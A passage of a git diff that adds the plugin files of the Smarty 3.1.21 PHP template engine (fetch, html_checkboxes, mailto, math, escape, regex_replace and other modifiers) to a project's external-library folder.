$errstr, $timeout); + } else { + $fp = fsockopen($server_name, $port, $errno, $errstr, $timeout); + } + + if (!$fp) { + trigger_error("[plugin] unable to fetch: $errstr ($errno)", E_USER_NOTICE); + + return; + } else { + if ($_is_proxy) { + fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n"); + } else { + fputs($fp, "GET $uri HTTP/1.0\r\n"); + } + if (!empty($host)) { + fputs($fp, "Host: $host\r\n"); + } + if (!empty($accept)) { + fputs($fp, "Accept: $accept\r\n"); + } + if (!empty($agent)) { + fputs($fp, "User-Agent: $agent\r\n"); + } + if (!empty($referer)) { + fputs($fp, "Referer: $referer\r\n"); + } + if (isset($extra_headers) && is_array($extra_headers)) { + foreach ($extra_headers as $curr_header) { + fputs($fp, $curr_header . "\r\n"); + } + } + if (!empty($user) && !empty($pass)) { + fputs($fp, "Authorization: BASIC " . base64_encode("$user:$pass") . "\r\n"); + } + + fputs($fp, "\r\n"); + while (!feof($fp)) { + $content .= fgets($fp, 4096); + } + fclose($fp); + $csplit = preg_split("!\r\n\r\n!", $content, 2); + + $content = $csplit[1]; + + if (!empty($params['assign_headers'])) { + $template->assign($params['assign_headers'], preg_split("!\r\n!", $csplit[0])); + } + } + } else { + trigger_error("[plugin fetch] unable to parse URL, check syntax", E_USER_NOTICE); + + return; + } + } else { + $content = @file_get_contents($params['file']); + if ($content === false) { + throw new SmartyException("{fetch} cannot read resource '" . $params['file'] . "'"); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $content); + } else { + return $content; + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.html_checkboxes.php b/extlib/Smarty-3.1.21/libs/plugins/function.html_checkboxes.php new file mode 100755 index 00000000..d7868036 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.html_checkboxes.php @@ -0,0 +1,237 @@ + + * Type: function
+ * Name: html_checkboxes
+ * Date: 24.Feb.2003
+ * Purpose: Prints out a list of checkbox input types
+ * Examples: + *
+ * {html_checkboxes values=$ids output=$names}
+ * {html_checkboxes values=$ids name='box' separator='
' output=$names} + * {html_checkboxes values=$ids checked=$checked separator='
' output=$names} + *
+ * Params: + *
+ * - name       (optional) - string default "checkbox"
+ * - values     (required) - array
+ * - options    (optional) - associative array
+ * - checked    (optional) - array default not set
+ * - separator  (optional) - ie 
or   + * - output (optional) - the output next to each checkbox + * - assign (optional) - assign the output as an array to this variable + * - escape (optional) - escape the content (not value), defaults to true + *
+ * + * @link http://www.smarty.net/manual/en/language.function.html.checkboxes.php {html_checkboxes} + * (Smarty online manual) + * @author Christopher Kvarme + * @author credits to Monte Ohrt + * @version 1.0 + * + * @param array $params parameters + * @param object $template template object + * + * @return string + * @uses smarty_function_escape_special_chars() + */ +function smarty_function_html_checkboxes($params, $template) +{ + require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); + + $name = 'checkbox'; + $values = null; + $options = null; + $selected = array(); + $separator = ''; + $escape = true; + $labels = true; + $label_ids = false; + $output = null; + + $extra = ''; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'name': + case 'separator': + $$_key = (string) $_val; + break; + + case 'escape': + case 'labels': + case 'label_ids': + $$_key = (bool) $_val; + break; + + case 'options': + $$_key = (array) $_val; + break; + + case 'values': + case 'output': + $$_key = array_values((array) $_val); + break; + + case 'checked': + case 'selected': + if (is_array($_val)) { + $selected = array(); + foreach ($_val as $_sel) { + if (is_object($_sel)) { + if (method_exists($_sel, "__toString")) { + $_sel = smarty_function_escape_special_chars((string) $_sel->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute contains an object of class '" . get_class($_sel) . "' without __toString() method", E_USER_NOTICE); + continue; + } + } else { + $_sel = smarty_function_escape_special_chars((string) $_sel); + } + $selected[$_sel] = true; + } + } elseif (is_object($_val)) { + if (method_exists($_val, "__toString")) { + $selected = smarty_function_escape_special_chars((string) $_val->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute is an object of class '" . get_class($_val) . "' without __toString() method", E_USER_NOTICE); + } + } else { + $selected = smarty_function_escape_special_chars((string) $_val); + } + break; + + case 'checkboxes': + trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING); + $options = (array) $_val; + break; + + case 'assign': + break; + + case 'strict': + break; + + case 'disabled': + case 'readonly': + if (!empty($params['strict'])) { + if (!is_scalar($_val)) { + trigger_error("html_options: $_key attribute must be a scalar, only boolean true or string '$_key' will actually add the attribute", E_USER_NOTICE); + } + + if ($_val === true || $_val === $_key) { + $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"'; + } + + break; + } + // omit break; to fall through! + + default: + if (!is_array($_val)) { + $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"'; + } else { + trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE); + } + break; + } + } + + if (!isset($options) && !isset($values)) { + return ''; + } /* raise error here? */ + + $_html_result = array(); + + if (isset($options)) { + foreach ($options as $_key => $_val) { + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } else { + foreach ($values as $_i => $_key) { + $_val = isset($output[$_i]) ? $output[$_i] : ''; + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $_html_result); + } else { + return implode("\n", $_html_result); + } +} + +function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels, $label_ids, $escape = true) +{ + $_output = ''; + + if (is_object($value)) { + if (method_exists($value, "__toString")) { + $value = (string) $value->__toString(); + } else { + trigger_error("html_options: value is an object of class '" . get_class($value) . "' without __toString() method", E_USER_NOTICE); + + return ''; + } + } else { + $value = (string) $value; + } + + if (is_object($output)) { + if (method_exists($output, "__toString")) { + $output = (string) $output->__toString(); + } else { + trigger_error("html_options: output is an object of class '" . get_class($output) . "' without __toString() method", E_USER_NOTICE); + + return ''; + } + } else { + $output = (string) $output; + } + + if ($labels) { + if ($label_ids) { + $_id = smarty_function_escape_special_chars(preg_replace('![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER, '_', $name . '_' . $value)); + $_output .= '
\n"; + + if (!empty($caption)) { + $output .= '\n"; + } + + if (is_array($cols)) { + $cols = ($hdir == 'right') ? $cols : array_reverse($cols); + $output .= "\n"; + + for ($r = 0; $r < $cols_count; $r ++) { + $output .= ''; + $output .= $cols[$r]; + $output .= "\n"; + } + $output .= "\n"; + } + + $output .= "\n"; + for ($r = 0; $r < $rows; $r ++) { + $output .= "\n"; + $rx = ($vdir == 'down') ? $r * $cols_count : ($rows - 1 - $r) * $cols_count; + + for ($c = 0; $c < $cols_count; $c ++) { + $x = ($hdir == 'right') ? $rx + $c : $rx + $cols_count - 1 - $c; + if ($inner != 'cols') { + /* shuffle x to loop over rows*/ + $x = floor($x / $cols_count) + ($x % $cols_count) * $rows; + } + + if ($x < $loop_count) { + $output .= "" . $loop[$x] . "\n"; + } else { + $output .= "$trailpad\n"; + } + } + $output .= "\n"; + } + $output .= "\n"; + $output .= "
' . $caption . "
\n"; + + return $output; +} + +function smarty_function_html_table_cycle($name, $var, $no) +{ + if (!is_array($var)) { + $ret = $var; + } else { + $ret = $var[$no % count($var)]; + } + + return ($ret) ? ' ' . $ret : ''; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.locale.php b/extlib/Smarty-3.1.21/libs/plugins/function.locale.php new file mode 100755 index 00000000..c3280874 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.locale.php @@ -0,0 +1,53 @@ + +* @author Boleslaw Tekielski +* @author Elan Ruusamäe +* @copyright 2012 Karlheinz Toni +* @copyright 2015 Boleslaw Tekielski +* @copyright 2015 Elan Ruusamäe +*/ +function smarty_function_locale($params, &$smarty) { +static $stack; +// init stack as array +if ($stack === null) { +$stack = array(); +} +$path = $smarty->template_dir . $params['path']; +$domain = isset($params['domain']) ? $params['domain'] : 'messages'; +$stack_operation = isset($params['stack']) ? $params['stack'] : 'push'; +if (!$path && $stack_operation != 'pop') { +trigger_error("static (file {$smarty->template}): missing 'path' parameter.", E_USER_ERROR); +} +if ($stack_operation == 'push') { +$stack[] = array($domain, $path); +} elseif ($stack_operation == 'pop') { +if (count($stack) > 1) { +array_pop($stack); +} +list($domain, $path) = end($stack); +} else { +trigger_error("Unknown stack operation '{$stack_operation}'", E_USER_ERROR); +} +bind_textdomain_codeset($domain, 'UTF-8'); +bindtextdomain($domain, $path); +textdomain($domain); +} \ No newline at end of file diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.mailto.php b/extlib/Smarty-3.1.21/libs/plugins/function.mailto.php new file mode 100755 index 00000000..520fb7aa --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.mailto.php @@ -0,0 +1,155 @@ + + * Name: mailto
+ * Date: May 21, 2002 + * Purpose: automate mailto address link creation, and optionally encode them.
+ * Params: + *
+ * - address    - (required) - e-mail address
+ * - text       - (optional) - text to display, default is address
+ * - encode     - (optional) - can be one of:
+ *                             * none : no encoding (default)
+ *                             * javascript : encode with javascript
+ *                             * javascript_charcode : encode with javascript charcode
+ *                             * hex : encode with hexidecimal (no javascript)
+ * - cc         - (optional) - address(es) to carbon copy
+ * - bcc        - (optional) - address(es) to blind carbon copy
+ * - subject    - (optional) - e-mail subject
+ * - newsgroups - (optional) - newsgroup(s) to post to
+ * - followupto - (optional) - address(es) to follow up to
+ * - extra      - (optional) - extra tags for the href link
+ * 
+ * Examples: + *
+ * {mailto address="me@domain.com"}
+ * {mailto address="me@domain.com" encode="javascript"}
+ * {mailto address="me@domain.com" encode="hex"}
+ * {mailto address="me@domain.com" subject="Hello to you!"}
+ * {mailto address="me@domain.com" cc="you@domain.com,they@domain.com"}
+ * {mailto address="me@domain.com" extra='class="mailto"'}
+ * 
+ * + * @link http://www.smarty.net/manual/en/language.function.mailto.php {mailto} + * (Smarty online manual) + * @version 1.2 + * @author Monte Ohrt + * @author credits to Jason Sweat (added cc, bcc and subject functionality) + * + * @param array $params parameters + * + * @return string + */ +function smarty_function_mailto($params) +{ + static $_allowed_encoding = array('javascript' => true, 'javascript_charcode' => true, 'hex' => true, 'none' => true); + $extra = ''; + + if (empty($params['address'])) { + trigger_error("mailto: missing 'address' parameter", E_USER_WARNING); + + return; + } else { + $address = $params['address']; + } + + $text = $address; + // netscape and mozilla do not decode %40 (@) in BCC field (bug?) + // so, don't encode it. + $search = array('%40', '%2C'); + $replace = array('@', ','); + $mail_parms = array(); + foreach ($params as $var => $value) { + switch ($var) { + case 'cc': + case 'bcc': + case 'followupto': + if (!empty($value)) { + $mail_parms[] = $var . '=' . str_replace($search, $replace, rawurlencode($value)); + } + break; + + case 'subject': + case 'newsgroups': + $mail_parms[] = $var . '=' . rawurlencode($value); + break; + + case 'extra': + case 'text': + $$var = $value; + + default: + } + } + + if ($mail_parms) { + $address .= '?' . join('&', $mail_parms); + } + + $encode = (empty($params['encode'])) ? 'none' : $params['encode']; + if (!isset($_allowed_encoding[$encode])) { + trigger_error("mailto: 'encode' parameter must be none, javascript, javascript_charcode or hex", E_USER_WARNING); + + return; + } + // FIXME: (rodneyrehm) document.write() excues me what? 1998 has passed! + if ($encode == 'javascript') { + $string = 'document.write(\'' . $text . '\');'; + + $js_encode = ''; + for ($x = 0, $_length = strlen($string); $x < $_length; $x ++) { + $js_encode .= '%' . bin2hex($string[$x]); + } + + return ''; + } elseif ($encode == 'javascript_charcode') { + $string = '' . $text . ''; + + for ($x = 0, $y = strlen($string); $x < $y; $x ++) { + $ord[] = ord($string[$x]); + } + + $_ret = "\n"; + + return $_ret; + } elseif ($encode == 'hex') { + preg_match('!^(.*)(\?.*)$!', $address, $match); + if (!empty($match[2])) { + trigger_error("mailto: hex encoding does not work with extra attributes. Try javascript.", E_USER_WARNING); + + return; + } + $address_encode = ''; + for ($x = 0, $_length = strlen($address); $x < $_length; $x ++) { + if (preg_match('!\w!' . Smarty::$_UTF8_MODIFIER, $address[$x])) { + $address_encode .= '%' . bin2hex($address[$x]); + } else { + $address_encode .= $address[$x]; + } + } + $text_encode = ''; + for ($x = 0, $_length = strlen($text); $x < $_length; $x ++) { + $text_encode .= '&#x' . bin2hex($text[$x]) . ';'; + } + + $mailto = "mailto:"; + + return '' . $text_encode . ''; + } else { + // no encoding + return '' . $text . ''; + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/function.math.php b/extlib/Smarty-3.1.21/libs/plugins/function.math.php new file mode 100755 index 00000000..aba76e82 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/function.math.php @@ -0,0 +1,91 @@ + + * Name: math
+ * Purpose: handle math computations in template + * + * @link http://www.smarty.net/manual/en/language.function.math.php {math} + * (Smarty online manual) + * @author Monte Ohrt + * + * @param array $params parameters + * @param Smarty_Internal_Template $template template object + * + * @return string|null + */ +function smarty_function_math($params, $template) +{ + static $_allowed_funcs = array( + 'int' => true, 'abs' => true, 'ceil' => true, 'cos' => true, 'exp' => true, 'floor' => true, + 'log' => true, 'log10' => true, 'max' => true, 'min' => true, 'pi' => true, 'pow' => true, + 'rand' => true, 'round' => true, 'sin' => true, 'sqrt' => true, 'srand' => true, 'tan' => true + ); + // be sure equation parameter is present + if (empty($params['equation'])) { + trigger_error("math: missing equation parameter", E_USER_WARNING); + + return; + } + + $equation = $params['equation']; + + // make sure parenthesis are balanced + if (substr_count($equation, "(") != substr_count($equation, ")")) { + trigger_error("math: unbalanced parenthesis", E_USER_WARNING); + + return; + } + + // match all vars in equation, make sure all are passed + preg_match_all("!(?:0x[a-fA-F0-9]+)|([a-zA-Z][a-zA-Z0-9_]*)!", $equation, $match); + + foreach ($match[1] as $curr_var) { + if ($curr_var && !isset($params[$curr_var]) && !isset($_allowed_funcs[$curr_var])) { + trigger_error("math: function call $curr_var not allowed", E_USER_WARNING); + + return; + } + } + + foreach ($params as $key => $val) { + if ($key != "equation" && $key != "format" && $key != "assign") { + // make sure value is not empty + if (strlen($val) == 0) { + trigger_error("math: parameter $key is empty", E_USER_WARNING); + + return; + } + if (!is_numeric($val)) { + trigger_error("math: parameter $key: is not numeric", E_USER_WARNING); + + return; + } + $equation = preg_replace("/\b$key\b/", " \$params['$key'] ", $equation); + } + } + $smarty_math_result = null; + eval("\$smarty_math_result = " . $equation . ";"); + + if (empty($params['format'])) { + if (empty($params['assign'])) { + return $smarty_math_result; + } else { + $template->assign($params['assign'], $smarty_math_result); + } + } else { + if (empty($params['assign'])) { + printf($params['format'], $smarty_math_result); + } else { + $template->assign($params['assign'], sprintf($params['format'], $smarty_math_result)); + } + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.capitalize.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.capitalize.php new file mode 100755 index 00000000..a8ad7637 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.capitalize.php @@ -0,0 +1,90 @@ + + * Name: capitalize
+ * Purpose: capitalize words in the string + * {@internal {$string|capitalize:true:true} is the fastest option for MBString enabled systems }} + * + * @param string $string string to capitalize + * @param boolean $uc_digits also capitalize "x123" to "X123" + * @param boolean $lc_rest capitalize first letters, lowercase all following letters "aAa" to "Aaa" + * + * @return string capitalized string + * @author Monte Ohrt + * @author Rodney Rehm + */ +function smarty_modifier_capitalize($string, $uc_digits = false, $lc_rest = false) +{ + if (Smarty::$_MBSTRING) { + if ($lc_rest) { + // uppercase (including hyphenated words) + $upper_string = mb_convert_case($string, MB_CASE_TITLE, Smarty::$_CHARSET); + } else { + // uppercase word breaks + $upper_string = preg_replace_callback("!(^|[^\p{L}'])([\p{Ll}])!S" . Smarty::$_UTF8_MODIFIER, 'smarty_mod_cap_mbconvert_cb', $string); + } + // check uc_digits case + if (!$uc_digits) { + if (preg_match_all("!\b([\p{L}]*[\p{N}]+[\p{L}]*)\b!" . Smarty::$_UTF8_MODIFIER, $string, $matches, PREG_OFFSET_CAPTURE)) { + foreach ($matches[1] as $match) { + $upper_string = substr_replace($upper_string, mb_strtolower($match[0], Smarty::$_CHARSET), $match[1], strlen($match[0])); + } + } + } + $upper_string = preg_replace_callback("!((^|\s)['\"])(\w)!" . Smarty::$_UTF8_MODIFIER, 'smarty_mod_cap_mbconvert2_cb', $upper_string); + return $upper_string; + } + + // lowercase first + if ($lc_rest) { + $string = strtolower($string); + } + // uppercase (including hyphenated words) + $upper_string = preg_replace_callback("!(^|[^\p{L}'])([\p{Ll}])!S" . Smarty::$_UTF8_MODIFIER, 'smarty_mod_cap_ucfirst_cb', $string); + // check uc_digits case + if (!$uc_digits) { + if (preg_match_all("!\b([\p{L}]*[\p{N}]+[\p{L}]*)\b!" . Smarty::$_UTF8_MODIFIER, $string, $matches, PREG_OFFSET_CAPTURE)) { + foreach ($matches[1] as $match) { + $upper_string = substr_replace($upper_string, strtolower($match[0]), $match[1], strlen($match[0])); + } + } + } + $upper_string = preg_replace_callback("!((^|\s)['\"])(\w)!" . Smarty::$_UTF8_MODIFIER, 'smarty_mod_cap_ucfirst2_cb', $upper_string); + return $upper_string; +} + +/* + * + * Bug: create_function() use exhausts memory when used in long loops + * Fix: use declared functions for callbacks instead of using create_function() + * Note: This can be fixed using anonymous functions instead, but that requires PHP >= 5.3 + * + * @author Kyle Renfrow + */ +function smarty_mod_cap_mbconvert_cb($matches) +{ + return stripslashes($matches[1]) . mb_convert_case(stripslashes($matches[2]), MB_CASE_UPPER, Smarty::$_CHARSET); +} + +function smarty_mod_cap_mbconvert2_cb($matches) +{ + return stripslashes($matches[1]) . mb_convert_case(stripslashes($matches[3]), MB_CASE_UPPER, Smarty::$_CHARSET); +} + +function smarty_mod_cap_ucfirst_cb($matches) +{ + return stripslashes($matches[1]) . ucfirst(stripslashes($matches[2])); +} + +function smarty_mod_cap_ucfirst2_cb($matches) +{ + return stripslashes($matches[1]) . ucfirst(stripslashes($matches[3])); +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.date_format.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.date_format.php new file mode 100755 index 00000000..5ad7540b --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.date_format.php @@ -0,0 +1,65 @@ + + * Name: date_format
+ * Purpose: format datestamps via strftime
+ * Input:
+ * - string: input date string + * - format: strftime format for output + * - default_date: default date if $string is empty + * + * @link http://www.smarty.net/manual/en/language.modifier.date.format.php date_format (Smarty online manual) + * @author Monte Ohrt + * + * @param string $string input date string + * @param string $format strftime format for output + * @param string $default_date default date if $string is empty + * @param string $formatter either 'strftime' or 'auto' + * + * @return string |void + * @uses smarty_make_timestamp() + */ +function smarty_modifier_date_format($string, $format = null, $default_date = '', $formatter = 'auto') +{ + if ($format === null) { + $format = Smarty::$_DATE_FORMAT; + } + /** + * Include the {@link shared.make_timestamp.php} plugin + */ + require_once(SMARTY_PLUGINS_DIR . 'shared.make_timestamp.php'); + if ($string != '' && $string != '0000-00-00' && $string != '0000-00-00 00:00:00') { + $timestamp = smarty_make_timestamp($string); + } elseif ($default_date != '') { + $timestamp = smarty_make_timestamp($default_date); + } else { + return; + } + if ($formatter == 'strftime' || ($formatter == 'auto' && strpos($format, '%') !== false)) { + if (DS == '\\') { + $_win_from = array('%D', '%h', '%n', '%r', '%R', '%t', '%T'); + $_win_to = array('%m/%d/%y', '%b', "\n", '%I:%M:%S %p', '%H:%M', "\t", '%H:%M:%S'); + if (strpos($format, '%e') !== false) { + $_win_from[] = '%e'; + $_win_to[] = sprintf('%\' 2d', date('j', $timestamp)); + } + if (strpos($format, '%l') !== false) { + $_win_from[] = '%l'; + $_win_to[] = sprintf('%\' 2d', date('h', $timestamp)); + } + $format = str_replace($_win_from, $_win_to, $format); + } + + return strftime($format, $timestamp); + } else { + return date($format, $timestamp); + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.debug_print_var.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.debug_print_var.php new file mode 100755 index 00000000..66363d25 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.debug_print_var.php @@ -0,0 +1,104 @@ + + * Name: debug_print_var
+ * Purpose: formats variable contents for display in the console + * + * @author Monte Ohrt + * + * @param array|object $var variable to be formatted + * @param integer $depth maximum recursion depth if $var is an array + * @param integer $length maximum string length if $var is a string + * + * @return string + */ +function smarty_modifier_debug_print_var($var, $depth = 0, $length = 40) +{ + $_replace = array("\n" => '\n', + "\r" => '\r', + "\t" => '\t' + ); + + switch (gettype($var)) { + case 'array' : + $results = 'Array (' . count($var) . ')'; + foreach ($var as $curr_key => $curr_val) { + $results .= '
' . str_repeat(' ', $depth * 2) + . '' . strtr($curr_key, $_replace) . ' => ' + . smarty_modifier_debug_print_var($curr_val, ++$depth, $length); + $depth --; + } + break; + + case 'object' : + $object_vars = get_object_vars($var); + $results = '' . get_class($var) . ' Object (' . count($object_vars) . ')'; + foreach ($object_vars as $curr_key => $curr_val) { + $results .= '
' . str_repeat(' ', $depth * 2) + . ' ->' . strtr($curr_key, $_replace) . ' = ' + . smarty_modifier_debug_print_var($curr_val, ++$depth, $length); + $depth --; + } + break; + + case 'boolean' : + case 'NULL' : + case 'resource' : + if (true === $var) { + $results = 'true'; + } elseif (false === $var) { + $results = 'false'; + } elseif (null === $var) { + $results = 'null'; + } else { + $results = htmlspecialchars((string) $var); + } + $results = '' . $results . ''; + break; + + case 'integer' : + case 'float' : + $results = htmlspecialchars((string) $var); + break; + + case 'string' : + $results = strtr($var, $_replace); + if (Smarty::$_MBSTRING) { + if (mb_strlen($var, Smarty::$_CHARSET) > $length) { + $results = mb_substr($var, 0, $length - 3, Smarty::$_CHARSET) . '...'; + } + } else { + if (isset($var[$length])) { + $results = substr($var, 0, $length - 3) . '...'; + } + } + + $results = htmlspecialchars('"' . $results . '"'); + break; + + case 'unknown type' : + default : + $results = strtr((string) $var, $_replace); + if (Smarty::$_MBSTRING) { + if (mb_strlen($results, Smarty::$_CHARSET) > $length) { + $results = mb_substr($results, 0, $length - 3, Smarty::$_CHARSET) . '...'; + } + } else { + if (strlen($results) > $length) { + $results = substr($results, 0, $length - 3) . '...'; + } + } + + $results = htmlspecialchars($results); + } + + return $results; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.escape.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.escape.php new file mode 100755 index 00000000..9fdb0702 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.escape.php @@ -0,0 +1,198 @@ + + * Name: escape
+ * Purpose: escape string for output + * + * @link http://www.smarty.net/docs/en/language.modifier.escape + * @author Monte Ohrt + * + * @param string $string input string + * @param string $esc_type escape type + * @param string $char_set character set, used for htmlspecialchars() or htmlentities() + * @param boolean $double_encode encode already encoded entitites again, used for htmlspecialchars() or htmlentities() + * + * @return string escaped input string + */ +function smarty_modifier_escape($string, $esc_type = 'html', $char_set = null, $double_encode = true) +{ + static $_double_encode = null; + if ($_double_encode === null) { + $_double_encode = version_compare(PHP_VERSION, '5.2.3', '>='); + } + + if (!$char_set) { + $char_set = Smarty::$_CHARSET; + } + + switch ($esc_type) { + case 'html': + if ($_double_encode) { + // php >=5.3.2 - go native + return htmlspecialchars($string, ENT_QUOTES, $char_set, $double_encode); + } else { + if ($double_encode) { + // php <5.2.3 - only handle double encoding + return htmlspecialchars($string, ENT_QUOTES, $char_set); + } else { + // php <5.2.3 - prevent double encoding + $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string); + $string = htmlspecialchars($string, ENT_QUOTES, $char_set); + $string = str_replace(array('%%%SMARTY_START%%%', '%%%SMARTY_END%%%'), array('&', ';'), $string); + + return $string; + } + } + + case 'htmlall': + if (Smarty::$_MBSTRING) { + // mb_convert_encoding ignores htmlspecialchars() + if ($_double_encode) { + // php >=5.3.2 - go native + $string = htmlspecialchars($string, ENT_QUOTES, $char_set, $double_encode); + } else { + if ($double_encode) { + // php <5.2.3 - only handle double encoding + $string = htmlspecialchars($string, ENT_QUOTES, $char_set); + } else { + // php <5.2.3 - prevent double encoding + $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string); + $string = htmlspecialchars($string, ENT_QUOTES, $char_set); + $string = str_replace(array('%%%SMARTY_START%%%', '%%%SMARTY_END%%%'), array('&', ';'), $string); + + return $string; + } + } + + // htmlentities() won't convert everything, so use mb_convert_encoding + return mb_convert_encoding($string, 'HTML-ENTITIES', $char_set); + } + + // no MBString fallback + if ($_double_encode) { + return htmlentities($string, ENT_QUOTES, $char_set, $double_encode); + } else { + if ($double_encode) { + return htmlentities($string, ENT_QUOTES, $char_set); + } else { + $string = preg_replace('!&(#?\w+);!', '%%%SMARTY_START%%%\\1%%%SMARTY_END%%%', $string); + $string = htmlentities($string, ENT_QUOTES, $char_set); + $string = str_replace(array('%%%SMARTY_START%%%', '%%%SMARTY_END%%%'), array('&', ';'), $string); + + return $string; + } + } + + case 'url': + return rawurlencode($string); + + case 'urlpathinfo': + return str_replace('%2F', '/', rawurlencode($string)); + + case 'quotes': + // escape unescaped single quotes + return preg_replace("%(? '\\\\', "'" => "\\'", '"' => '\\"', "\r" => '\\r', "\n" => '\\n', ' '<\/')); + + case 'mail': + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_str_replace.php'); + + return smarty_mb_str_replace(array('@', '.'), array(' [AT] ', ' [DOT] '), $string); + } + // no MBString fallback + return str_replace(array('@', '.'), array(' [AT] ', ' [DOT] '), $string); + + case 'nonstd': + // escape non-standard chars, such as ms document quotes + $return = ''; + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_unicode.php'); + foreach (smarty_mb_to_unicode($string, Smarty::$_CHARSET) as $unicode) { + if ($unicode >= 126) { + $return .= '&#' . $unicode . ';'; + } else { + $return .= chr($unicode); + } + } + + return $return; + } + + $_length = strlen($string); + for ($_i = 0; $_i < $_length; $_i ++) { + $_ord = ord(substr($string, $_i, 1)); + // non-standard char, escape it + if ($_ord >= 126) { + $return .= '&#' . $_ord . ';'; + } else { + $return .= substr($string, $_i, 1); + } + } + + return $return; + + default: + return $string; + } +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.regex_replace.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.regex_replace.php new file mode 100755 index 00000000..abb1ff54 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.regex_replace.php @@ -0,0 +1,57 @@ + + * Name: regex_replace
+ * Purpose: regular expression search/replace + * + * @link http://smarty.php.net/manual/en/language.modifier.regex.replace.php + * regex_replace (Smarty online manual) + * @author Monte Ohrt + * + * @param string $string input string + * @param string|array $search regular expression(s) to search for + * @param string|array $replace string(s) that should be replaced + * + * @return string + */ +function smarty_modifier_regex_replace($string, $search, $replace) +{ + if (is_array($search)) { + foreach ($search as $idx => $s) { + $search[$idx] = _smarty_regex_replace_check($s); + } + } else { + $search = _smarty_regex_replace_check($search); + } + + return preg_replace($search, $replace, $string); +} + +/** + * @param string $search string(s) that should be replaced + * + * @return string + * @ignore + */ +function _smarty_regex_replace_check($search) +{ + // null-byte injection detection + // anything behind the first null-byte is ignored + if (($pos = strpos($search, "\0")) !== false) { + $search = substr($search, 0, $pos); + } + // remove eval-modifier from $search + if (preg_match('!([a-zA-Z\s]+)$!s', $search, $match) && (strpos($match[1], 'e') !== false)) { + $search = substr($search, 0, - strlen($match[1])) . preg_replace('![e\s]+!', '', $match[1]); + } + + return $search; +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.replace.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.replace.php new file mode 100755 index 00000000..aa5e8570 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.replace.php @@ -0,0 +1,34 @@ + + * Name: replace
+ * Purpose: simple search/replace + * + * @link http://smarty.php.net/manual/en/language.modifier.replace.php replace (Smarty online manual) + * @author Monte Ohrt + * @author Uwe Tews + * + * @param string $string input string + * @param string $search text to search for + * @param string $replace replacement text + * + * @return string + */ +function smarty_modifier_replace($string, $search, $replace) +{ + if (Smarty::$_MBSTRING) { + require_once(SMARTY_PLUGINS_DIR . 'shared.mb_str_replace.php'); + + return smarty_mb_str_replace($search, $replace, $string); + } + + return str_replace($search, $replace, $string); +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.spacify.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.spacify.php new file mode 100755 index 00000000..e5c41ad8 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.spacify.php @@ -0,0 +1,27 @@ + + * Name: spacify
+ * Purpose: add spaces between characters in a string + * + * @link http://smarty.php.net/manual/en/language.modifier.spacify.php spacify (Smarty online manual) + * @author Monte Ohrt + * + * @param string $string input string + * @param string $spacify_char string to insert between characters. + * + * @return string + */ +function smarty_modifier_spacify($string, $spacify_char = ' ') +{ + // well… what about charsets besides latin and UTF-8? + return implode($spacify_char, preg_split('//' . Smarty::$_UTF8_MODIFIER, $string, - 1, PREG_SPLIT_NO_EMPTY)); +} diff --git a/extlib/Smarty-3.1.21/libs/plugins/modifier.truncate.php b/extlib/Smarty-3.1.21/libs/plugins/modifier.truncate.php new file mode 100755 index 00000000..fbe62e82 --- /dev/null +++ b/extlib/Smarty-3.1.21/libs/plugins/modifier.truncate.php @@ -0,0 +1,64 @@ + + * Name: truncate
